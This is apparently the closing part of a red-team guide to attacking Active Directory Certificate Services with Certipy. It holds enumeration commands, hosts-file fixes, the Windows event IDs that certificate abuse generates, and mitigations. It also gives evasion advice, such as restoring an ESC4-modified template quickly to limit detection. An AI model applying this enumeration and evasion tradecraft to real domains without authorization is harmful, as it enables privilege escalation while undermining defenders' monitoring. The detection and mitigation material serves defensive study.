certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP -debug
Name resolution issues (DC_HOSTNAME not resolving):
# Add DC to /etc/hosts
echo "DC_IP DC_HOSTNAME DC_HOSTNAME.TARGET_DOMAIN" | sudo tee -a /etc/hosts
echo "CA_IP CA_HOSTNAME CA_HOSTNAME.TARGET_DOMAIN" | sudo tee -a /etc/hosts
Detection and Defense Notes
Understanding detections helps red teamers operate more carefully and blue teamers build alerts.
What generates Windows Event Logs:
- Event 4886 — Certificate Services received a certificate request
- Event 4887 — Certificate Services approved a certificate request and issued a certificate
- Event 4888 — Certificate Services denied a certificate request
- Event 4899 — A Certificate Services template was updated (ESC4)
- Event 4900 — Certificate Services template security was updated
Certipy OPSEC considerations:
# Use -debug to see exactly what LDAP queries are made
certipy find -u USERNAME@TARGET_DOMAIN -p 'PASSWORD' -dc-ip DC_IP -debug
# Certipy find generates LDAP queries to CN=Certificate Templates — may be logged
# Certificate requests appear in CA event logs regardless of tool used
# For ESC4: restore the template immediately after certificate issuance
# Minimize time window between template modification and restoration
Mitigations (for reference):
- Enable HTTPS with EPA on web enrollment to prevent ESC8
- Remove
ENROLLEE_SUPPLIES_SUBJECTfrom templates where not needed - Restrict enrollment rights — avoid Domain Users or Authenticated Users
- Enable
Require manager approvalon sensitive templates - Clear
EDITF_ATTRIBUTESUBJECTALTNAME2CA flag if set - Audit CA-level ACLs regularly (ManageCA, ManageCertificates)
- Enable
szOID_NTDS_CA_SECURITY_EXTextension (requires KB5014754 or newer) - Monitor Event IDs 4886, 4887, 4899 for anomalous certificate issuance
Disclaimer: For educational purposes only. Unauthorized access to computer systems is illegal.